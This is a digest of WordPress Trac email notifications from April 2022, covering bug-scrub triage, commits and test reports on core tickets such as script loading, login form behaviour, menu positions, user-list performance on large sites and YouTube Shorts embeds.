<056.b2c66fa027339f31f120bd3712e73851@wordpress.org> References: <056.b2c66fa027339f31f120bd3712e73851@wordpress.org> Message-ID: <071.ceb80d93f04c60c56620c5984ecc0034@wordpress.org> #54572: Add a function for updating the existing role instead of removing, then adding one -------------------------------------------------+------------------------- Reporter: maksimkuzmin | Owner: (none) Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Role/Capability | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * keywords: has-patch has-unit-tests => has-patch has-unit-tests needs- refresh Comment: Marking this as needing a refresh, per my comments above. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54572#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 04:15:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 04:15:14 -0000 Subject: [wp-trac] [WordPress Trac] #55346: Problem in GDPR regulations provided by core wordpress In-Reply-To: <049.4665d62de08e126c2717ba46a53dea64@wordpress.org> References: <049.4665d62de08e126c2717ba46a53dea64@wordpress.org> Message-ID: <064.1cdf4b31a799419e3f20b999809757b4@wordpress.org> #55346: Problem in GDPR regulations provided by core wordpress --------------------------------------------+----------------------- Reporter: fs5ve | Owner: (none) Type: defect (bug) | Status: reopened Priority: normal | Milestone: Component: Privacy | Version: 4.9.6 Severity: major | Resolution: Keywords: has-privacy-review 2nd-opinion | Focuses: --------------------------------------------+----------------------- Comment (by fs5ve): So what's the conclusion? Will there be any update regarding this issue? I believe most WordPress developers will have a misinterpretation of the existing feature if they don't go through the documentation. What do you think? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55346#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 04:17:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 04:17:01 -0000 Subject: [wp-trac] [WordPress Trac] #53299: [PHP 8.1] Update `is_serialized` function to accept Enums In-Reply-To: <055.f6accfccac655a71ae4aad31f1aca3f6@wordpress.org> References: <055.f6accfccac655a71ae4aad31f1aca3f6@wordpress.org> Message-ID: <070.0dc63b6213a1355493a00ea0f1729f6f@wordpress.org> #53299: [PHP 8.1] Update `is_serialized` function to accept Enums -----------------------------+--------------------- Reporter: ayeshrajans | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php81 has-patch | Focuses: -----------------------------+--------------------- Comment (by peterwilsoncc): @hellofromTonya @jrf do either of you have any bandwidth to review this? Some notes about suitable unit tests would be lovely too. As serialization has a somewhat exciting history with regards to security, it would be ideal to get this in quite soon if it is suitable for core. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53299#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 04:24:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 04:24:59 -0000 Subject: [wp-trac] [WordPress Trac] #30377: wp_check_filetype is broken when checking urls with parameters In-Reply-To: <056.c092dedebd826c904e4a06f6059bc1b1@wordpress.org> References: <056.c092dedebd826c904e4a06f6059bc1b1@wordpress.org> Message-ID: <071.ecde3abaf422174fd2d451d733069489@wordpress.org> #30377: wp_check_filetype is broken when checking urls with parameters -------------------------------------------------+------------------------- Reporter: supercleanse | Owner: audrasjb Type: enhancement | Status: reopened Priority: normal | Milestone: Future | Release Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: has-unit-tests needs-dev-note | Focuses: needs-patch | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: I'm moving this off the milestone, it's getting close to the beta and there hasn't been any additional patches since it was reverted earlier in this release cycle. -- Ticket URL: <https://core.trac.wordpress.org/ticket/30377#comment:66> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 04:46:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 04:46:25 -0000 Subject: [wp-trac] [WordPress Trac] #55545: Twenty Fourteen: featured posts slider not working with an odd number of slides on mobile Message-ID: <056.2c51a5b4065fbb82d3919c30f177f0b6@wordpress.org> #55545: Twenty Fourteen: featured posts slider not working with an odd number of slides on mobile --------------------------+----------------------------- Reporter: robertghetau | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Hi there, I was able to replicate a bug on mobile where the featured image slider arrows would not work if the slider has an odd number of slides(3,5,etc) Tested with the latest version of WordPress and theme. I was able to see it in Chrome 100 and Safari 15 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55545> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 05:29:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 05:29:19 -0000 Subject: [wp-trac] [WordPress Trac] #52879: The SCRIPT_DEBUG constant is ignored when concatenating scripts In-Reply-To: <050.0997e086af05947ea1cb8516ba3e746a@wordpress.org> References: <050.0997e086af05947ea1cb8516ba3e746a@wordpress.org> Message-ID: <065.0cc6b2e40024f3a7dd8d28cd9e5af817@wordpress.org> #52879: The SCRIPT_DEBUG constant is ignored when concatenating scripts -------------------------------------------------+------------------------- Reporter: azaozz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Script Loader | Version: 2.8 Severity: minor | Resolution: Keywords: needs-patch needs-testing needs- | Focuses: javascript refresh | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * keywords: => needs-patch needs-testing needs-refresh * focuses: => javascript Comment: This was discussed during a bug scrub. Are there any related tickets/test cases that can be provided to further demonstrate when this bug is happening. Is there a general effect or is the effect only evident when testing? The code generally looks good but in the script-loader file changes, it would be good to switch to the {{{ /* * multi-line comments format * defined by the WP coding standards */ }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/52879#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 05:33:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 05:33:10 -0000 Subject: [wp-trac] [WordPress Trac] #51837: Adding `add_theme_support` for html5 for scripts, does not remove the type attribute from `wp-emoji-release.min.js` In-Reply-To: <053.fd7d5d5f0c79f5d2d53ef64f50b0b54f@wordpress.org> References: <053.fd7d5d5f0c79f5d2d53ef64f50b0b54f@wordpress.org> Message-ID: <068.9b415537a80ad2723688875090eec33b@wordpress.org> #51837: Adding `add_theme_support` for html5 for scripts, does not remove the type attribute from `wp-emoji-release.min.js` -------------------------------------+----------------------------- Reporter: kanlukasz | Owner: SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Script Loader | Version: 5.3 Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: -------------------------------------+----------------------------- Changes (by costdev): * keywords: has-patch => has-patch needs-refresh Comment: Per the discussion in the bug scrub, I'm adding `needs-refresh` as patch [https://core.trac.wordpress.org/attachment/ticket/51837/51837.3.diff 51837.3.diff] no longer applies cleanly against `trunk`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/51837#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 05:42:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 05:42:59 -0000 Subject: [wp-trac] [WordPress Trac] #33388: WP_Theme should use get_file_data() for retrieving page templates In-Reply-To: <048.061a085f96668a234b38023317b1e563@wordpress.org> References: <048.061a085f96668a234b38023317b1e563@wordpress.org> Message-ID: <063.ace82b67d22a3ea0b644b0293ec8c505@wordpress.org> #33388: WP_Theme should use get_file_data() for retrieving page templates -------------------------------------------------+------------------------- Reporter: dd32 | Owner: | SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: Keywords: needs-testing has-patch needs- | Focuses: refresh | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * keywords: needs-testing has-patch => needs-testing has-patch needs- refresh Comment: I created a [https://github.com/WordPress/wordpress-develop/pull/2538 pull request] based in [attachment:"33888.3.diff"] to get the tests running but there are few errors and failures that will need a little investigation. -- Ticket URL: <https://core.trac.wordpress.org/ticket/33388#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 05:45:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 05:45:02 -0000 Subject: [wp-trac] [WordPress Trac] #53224: Super admin cannot set an application password on a site they're not a member of In-Reply-To: <055.77d7d74ec7ed8f111cfb71f64c34a804@wordpress.org> References: <055.77d7d74ec7ed8f111cfb71f64c34a804@wordpress.org> Message-ID: <070.2d39cce22760b18bd0002f7adbc0cad6@wordpress.org> #53224: Super admin cannot set an application password on a site they're not a member of -------------------------------------------------+------------------------- Reporter: johnbillion | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Application Passwords | Version: 5.6 Severity: normal | Resolution: Keywords: has-patch has-unit-tests dev- | Focuses: multisite feedback | -------------------------------------------------+------------------------- Changes (by rehanali): * Attachment "#53224.patch" added. Added patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/53224> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 05:52:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 05:52:02 -0000 Subject: [wp-trac] [WordPress Trac] #53355: wp-signup.php with `new` in the query string results in a "site does not exist" message even if the site does exist In-Reply-To: <056.3803579400715ae38ed257d70cf9e653@wordpress.org> References: <056.3803579400715ae38ed257d70cf9e653@wordpress.org> Message-ID: <071.24c4f1462e369d8bd1ea32139fee5a3a@wordpress.org> #53355: wp-signup.php with `new` in the query string results in a "site does not exist" message even if the site does exist -------------------------------------------------+------------------------- Reporter: henry.wright | Owner: | SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing needs-unit- | Focuses: multisite tests | -------------------------------------------------+------------------------- Changes (by mikeschroder): * keywords: has-patch needs-testing needs-refresh => has-patch needs- testing needs-unit-tests Comment: Checked into this ticket in [https://wordpress.slack.com/archives/C02RQBWTW/p1649396451227959 a bug scrub today], and here's a synopsis of the suggestions to move things forward: Looks like the patch applies cleanly at the moment, so removing `needs- refresh`. Tests would be helpful, so adding `needs-unit-tests` as well. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53355#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 05:58:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 05:58:24 -0000 Subject: [wp-trac] [WordPress Trac] #55544: Script loader: Add `wp-a11y` as depenency of `wp-ajax-response`. In-Reply-To: <057.469fcce2c7e9d7bde444b42ae279df80@wordpress.org> References: <057.469fcce2c7e9d7bde444b42ae279df80@wordpress.org> Message-ID: <072.56c8bcc77ae92b27d581edd39dbf5a49@wordpress.org> #55544: Script loader: Add `wp-a11y` as depenency of `wp-ajax-response`. ---------------------------+---------------------------- Reporter: peterwilsoncc | Owner: peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Script Loader | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: javascript ---------------------------+---------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53103" 53103]: {{{ #!CommitTicketReference repository="" revision="53103" Script loader: Add `wp-a11y` as dependency of `wp-ajax-response`. Ensure `wp.a11y.speak()` is available when called in `wp-ajax-response`. Follow up to [52170]. Props afercia. Fixes #55544. See #42937. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55544#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 05:58:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 05:58:25 -0000 Subject: [wp-trac] [WordPress Trac] #42937: Success Message should display on insertion of new category in Taxonomy page In-Reply-To: <058.59807552ff911865b6d961f119c38513@wordpress.org> References: <058.59807552ff911865b6d961f119c38513@wordpress.org> Message-ID: <073.02d9f83e3b36999ab0de0cdc2ae03d74@wordpress.org> #42937: Success Message should display on insertion of new category in Taxonomy page -------------------------------------+------------------------------------- Reporter: manishamakhija | Owner: joedolson Type: defect (bug) | Status: closed Priority: normal | Milestone: 5.9 Component: Taxonomy | Version: 4.9.1 Severity: normal | Resolution: fixed Keywords: has-patch has- | Focuses: ui, accessibility, screenshots has-unit-tests input- | administration validation commit | -------------------------------------+------------------------------------- Comment (by peterwilsoncc): In [changeset:"53103" 53103]: {{{ #!CommitTicketReference repository="" revision="53103" Script loader: Add `wp-a11y` as dependency of `wp-ajax-response`. Ensure `wp.a11y.speak()` is available when called in `wp-ajax-response`. Follow up to [52170]. Props afercia. Fixes #55544. See #42937. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/42937#comment:39> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 06:05:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 06:05:11 -0000 Subject: [wp-trac] [WordPress Trac] #53348: No form to log in when visiting wp-login.php with a given query string In-Reply-To: <056.35d4161c0e6e0d6c95b0806d663da34b@wordpress.org> References: <056.35d4161c0e6e0d6c95b0806d663da34b@wordpress.org> Message-ID: <071.d57feea523a61751a4f95cb595828dea@wordpress.org> #53348: No form to log in when visiting wp-login.php with a given query string ----------------------------------------------+---------------------------- Reporter: henry.wright | Owner: | SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: Future | Release Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch needs-unit-tests early | Focuses: ----------------------------------------------+---------------------------- Changes (by costdev): * keywords: has-patch needs-testing => has-patch needs-unit-tests early * milestone: 6.0 => Future Release Comment: == Test Report === Environment * Server: Apache (Linux) * WordPress: 6.0-alpha-52448-src * Browser: Chrome 100.0.4896.75 * OS: Windows 10 * Theme: Twenty Twenty * Plugins: None activated === Steps 1. Navigate to `wp-login.php?checkemail=foo`. Notice that there is no login form. ✅ 2. Apply [https://core.trac.wordpress.org/attachment/ticket/53348/53348.diff 53348.diff]. Notice that the login form appears. ✅ === Results 1. [https://core.trac.wordpress.org/attachment/ticket/53348/53348.diff 53348.diff] successfully resolves the issue. === Notes - This would benefit from unit tests that set the `$_GET['checkemail']` value and test `did_action( 'login_init' )`, for example. Adding `needs- unit-tests`. - Per the discussion in the bug scrub, moving this to ''Future Release'' as it was felt that it's too late in the 6.0 cycle to touch the login form and marking as `early`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53348#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 06:14:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 06:14:51 -0000 Subject: [wp-trac] [WordPress Trac] #48978: Add a new test case for E2E test (Show admin bar if user logged in) In-Reply-To: <055.ea6e22cea01d183360ec491facce0f1e@wordpress.org> References: <055.ea6e22cea01d183360ec491facce0f1e@wordpress.org> Message-ID: <070.6d66545002e3fec4500f473372aebaeb@wordpress.org> #48978: Add a new test case for E2E test (Show admin bar if user logged in) ------------------------------+------------------------- Reporter: hideokamoto | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: javascript ------------------------------+------------------------- Changes (by mikeschroder): * keywords: has-patch needs-testing needs-refresh => needs-patch Comment: Folks present checked into this ticket during a [https://wordpress.slack.com/archives/C02RQBWTW/p1649397282497149 bug scrub today]. It looks like the patch still applies, so removing `needs-refresh`. There were a couple of changes suggested in https://core.trac.wordpress.org/ticket/48978#comment:10, so swapping `has- patch` for `needs-patch`. As it's a ticket with only tests, it can land whenever during the cycle. -- Ticket URL: <https://core.trac.wordpress.org/ticket/48978#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 06:15:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 06:15:16 -0000 Subject: [wp-trac] [WordPress Trac] #40927: Passing a float as the position in add_menu_page can override other menu items In-Reply-To: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> References: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> Message-ID: <069.ebf233fd9b8e81edec970bd164bd5b22@wordpress.org> #40927: Passing a float as the position in add_menu_page can override other menu items -------------------------------------------------+------------------------- Reporter: justinbusa | Owner: | SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch dev-feedback needs- | Focuses: testing has-unit-tests | administration -------------------------------------------------+------------------------- Comment (by peterwilsoncc): In [changeset:"53104" 53104]: {{{ #!CommitTicketReference repository="" revision="53104" Administration: Allow floats for menu positions. Permit plugin authors to pass the menu position as a float in `add_menu_page()` and `add_submenu_page()`. This allows for a common practice within major plugins to avoid menu collisions by passing a float. Follow up to [52569]. Props justinbusa, dd32, welcher, SergeyBiryukov, kirtan95, audrasjb, Cybr, chaion07, costdev, peterwilsoncc. See #40927. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/40927#comment:32> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 06:24:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 06:24:47 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.461ec1242ea82a9f34ff8c3da66a88c9@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Changes (by peterwilsoncc): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53105" 53105]: {{{ #!CommitTicketReference repository="" revision="53105" Users: Prevent author changes in bulk editor on large sites. On large sites (with over 1000 users), include a hidden `post_author` field in the bulk editing interface to preven unexpected authorship changes. Follow up to [53011], [53049]. Props georgestephanis, tobifjellner, peterwilsoncc, spacedmonkey, jb510. Fixes #38741. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:105> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 06:29:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 06:29:41 -0000 Subject: [wp-trac] [WordPress Trac] #55528: Register a oEmbed handler for YouTube Shorts In-Reply-To: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> References: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> Message-ID: <074.645bce7ce2fd670c403f85e745cf0483@wordpress.org> #55528: Register a oEmbed handler for YouTube Shorts ------------------------------+---------------------------- Reporter: danielbachhuber | Owner: peterwilsoncc Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Embeds | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: ------------------------------+---------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53106" 53106]: {{{ #!CommitTicketReference repository="" revision="53106" Embeds: Add YouTube shorts to the allow list. YouTube shorts URLs have a different structure to other YouTube videos. This adds support for the structure for YouTube embeds. Props danielbachhuber, johnbillion, mukesh27. Fixes #55528. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55528#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 06:34:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 06:34:35 -0000 Subject: [wp-trac] [WordPress Trac] #55226: Update class-wp-site-query.php - Change function parse_orderby() In-Reply-To: <053.ec450fb72885a823fd1521dec9619704@wordpress.org> References: <053.ec450fb72885a823fd1521dec9619704@wordpress.org> Message-ID: <068.fd186b1b0cb0aa7fd8276e5b170bedc8@wordpress.org> #55226: Update class-wp-site-query.php - Change function parse_orderby() --------------------------------+---------------------------- Reporter: lenasterg | Owner: peterwilsoncc Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: --------------------------------+---------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53107" 53107]: {{{ #!CommitTicketReference repository="" revision="53107" Networks and Sites: Increase sort options in `WP_Site_Query`. Add orderby support for the boolean options: deleted, spam, mature, archived and public. Props lenasterg, SergeyBiryukov. Fixes #55226. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55226#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 06:36:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 06:36:04 -0000 Subject: [wp-trac] [WordPress Trac] #55316: Counter for total plugins is not updated after a plugin is deleted In-Reply-To: <050.1150621b36fd5ab38c23cf605c504dee@wordpress.org> References: <050.1150621b36fd5ab38c23cf605c504dee@wordpress.org> Message-ID: <065.e2ea498d43c1d1742fe13f818baf3bd7@wordpress.org> #55316: Counter for total plugins is not updated after a plugin is deleted -------------------------------------------------+------------------------- Reporter: mitogh | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Plugins | Version: Severity: normal | Resolution: Keywords: needs-testing has-testing-info has- | Focuses: ui, patch | administration -------------------------------------------------+------------------------- Comment (by kebbet): Linked PR uses `_nx()` in the JavaScript-file. Rest of it is ported from `55316.3.diff` by @costdev. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55316#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 09:44:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 09:44:32 -0000 Subject: [wp-trac] [WordPress Trac] #54970: "Please update WordPress" link on incompatible theme tile on the "Add Themes" view is not clickable In-Reply-To: <053.88c723015c17ac75cad59699c71d450c@wordpress.org> References: <053.88c723015c17ac75cad59699c71d450c@wordpress.org> Message-ID: <068.5ebfa3f6aa7c9ec4b0cf3c77cc563b88@wordpress.org> #54970: "Please update WordPress" link on incompatible theme tile on the "Add Themes" view is not clickable -----------------------------+------------------------------ Reporter: tomasza8c | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: Awaiting Review Component: Themes | Version: Severity: normal | Resolution: Keywords: has-screenshots | Focuses: ui, css -----------------------------+------------------------------ Changes (by audrasjb): * milestone: 6.0 => Awaiting Review Comment: Taking this out of milestone 6.0 for now. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54970#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 10:11:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 10:11:09 -0000 Subject: [wp-trac] [WordPress Trac] #55406: Shortcodes don't work inside srcset attribute (was: shorcodes don't work inside srcset attribute) In-Reply-To: <049.c652ade6e5f28e9792a4cbda780368e7@wordpress.org> References: <049.c652ade6e5f28e9792a4cbda780368e7@wordpress.org> Message-ID: <064.c7c55cd01b4e8718a97b34eed49d710a@wordpress.org> #55406: Shortcodes don't work inside srcset attribute --------------------------+------------------------------ Reporter: XXVII | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Shortcodes | Version: 5.8.3 Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55406#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 10:53:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 10:53:04 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.3d1d5d285949f8c16a46997e1b6c76d1@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Comment (by OllieJones): I have just completed work on a plugin for handling large numbers of users. https://wordpress.org/plugins/index-wp-users-for-speed/ It works by putting wp_usermeta tags with keys like `wp_uifsr:administrator` and `uifsr:subscriber` on each user (it does so in a series of wp-cron jobs). It then hooks WP_Query_Users operations and replaces the slow and unsargeable `meta_key = 'wp_capabilities' and meta_value LIKE '%"administrator"%'` query pattern with a much faster `meta_key = 'wp_iufsr:administrator'` pattern that exploits indexes. It does the right thing for multisite, for example by using `'wp_4_iufsr:administrator'` for site 4. It accelerates the Users page and fetching the lists of editors for the Posts, Pages, and Gutenberg editor AJAX operation. It does not change any existing user CRUD operations, but simply adds this extra metadata and hooks queries. Please give it a try if you're stymied by a slow dashboard on your site with many users. As far as fixing this problem in core goes: the root cause of the slowness is the difficulty of using MariaDB / MySQL to parse out the role meta_values in `wp_capabilities` keys. Giving each role its own meta_key, with an empty meta_value, makes the DBMS able to search for roles quickly. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:107> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 10:58:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 10:58:36 -0000 Subject: [wp-trac] [WordPress Trac] #54219: Updated 'screen-per-page' padding for better navigation appearance on all Screen Options > Pagination In-Reply-To: <057.1f80da9db458885dd4af52bfe9a0aa4b@wordpress.org> References: <057.1f80da9db458885dd4af52bfe9a0aa4b@wordpress.org> Message-ID: <072.de53109f11f92983478f44e55f04bfd9@wordpress.org> #54219: Updated 'screen-per-page' padding for better navigation appearance on all Screen Options > Pagination ----------------------------+-------------------------------------- Reporter: Ankit K Gupta | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ui, css, administration ----------------------------+-------------------------------------- Changes (by sabernhardt): * Attachment "54219-comparison.png" added. patch comparison, using Firefox 99/Windows 10 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54219> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 10:59:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 10:59:31 -0000 Subject: [wp-trac] [WordPress Trac] #54219: Updated 'screen-per-page' padding for better navigation appearance on all Screen Options > Pagination In-Reply-To: <057.1f80da9db458885dd4af52bfe9a0aa4b@wordpress.org> References: <057.1f80da9db458885dd4af52bfe9a0aa4b@wordpress.org> Message-ID: <072.0448ef37a2f4cbaf977c1b512b290af9@wordpress.org> #54219: Updated 'screen-per-page' padding for better navigation appearance on all Screen Options > Pagination ------------------------------+-------------------------------------- Reporter: Ankit K Gupta | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: ui, css, administration ------------------------------+-------------------------------------- Changes (by sabernhardt): * keywords: has-patch => has-patch commit Comment: I was going to upload a patch with the `small-text` class instead, so we could compare them. However, simply changing the right padding in [attachment:"54219.2.patch"] is better with text zoom and/or on smaller screens. Recommending for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54219#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 10:59:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 10:59:57 -0000 Subject: [wp-trac] [WordPress Trac] #53115: Twenty Twenty: number inputs have too much padding In-Reply-To: <058.91e6ff0735e7e5ad214924238f7ad1a6@wordpress.org> References: <058.91e6ff0735e7e5ad214924238f7ad1a6@wordpress.org> Message-ID: <073.707794763fc8923488e352df55892180@wordpress.org> #53115: Twenty Twenty: number inputs have too much padding ------------------------------+-------------------------- Reporter: helgatheviking | Owner: sabernhardt Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: css ------------------------------+-------------------------- Changes (by sabernhardt): * keywords: has-patch needs-testing => has-patch commit -- Ticket URL: <https://core.trac.wordpress.org/ticket/53115#comment:24> WordPress Trac 